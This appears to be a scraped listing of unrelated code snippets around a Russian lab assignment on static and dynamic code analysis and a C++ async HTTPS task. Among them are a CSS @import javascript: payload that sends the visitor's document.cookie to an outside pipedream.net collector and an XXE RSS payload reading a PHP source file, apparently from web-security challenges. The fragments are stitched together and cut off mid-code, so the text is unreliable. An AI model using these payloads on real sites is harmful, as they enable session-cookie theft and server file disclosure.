Данная лабораторная работа посвещена изучению инструментов статического и динамического анализа кода
$ open http://cppcheck.sourceforge.net- 1. Ознакомиться со ссылками учебного материала
| @import 'javascript:eval("var xhr = new XMLHttpRequest();xhr.open(\"GET\",\"https://enxo2zqfm94v.x.pipedream.net?val=\"+document.cookie,true);xhr.send();alert(1)")'; | |
| .message { | |
| color: red; | |
| } |
| <?xml version="1.0" encoding="UTF-8" ?> | |
| <!DOCTYPE title [ | |
| <!ELEMENT title ANY > | |
| <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" > | |
| ]> | |
| <rss version="2.0"> | |
| <channel> | |
| <title></title> | |
| <link></link> | |
| <description></description> |
| #include <iostream> | |
| #include <vector> | |
| int FindTheSame(std::vector<int> array, size_t size, int elem) { | |
| size_t left = 0; | |
| size_t right = size - 1; | |
| // Ищем промежуток | |
| for (size_t i = 1; i < size; i *= 2) { | |
| if (array[i] < elem) { |
Написать программу на C++ обеспечивающую асинхронный запрос по заданному URL к HTTPS серверу на получение кода доступа. Для создания асинхронного запроса необходимо использовать следующие примитивы многопоточного программирования: std::thread для управления потоком и std::promise для ассинхронной обработки кода ответа.
Передача аргумента происходит через командную строку.
| #include <map> | |
| #include <vector> | |
| #include <string> | |
| #include <algorithm> | |
| #include <thread> | |
| #include <future> | |
| #include <iostream> |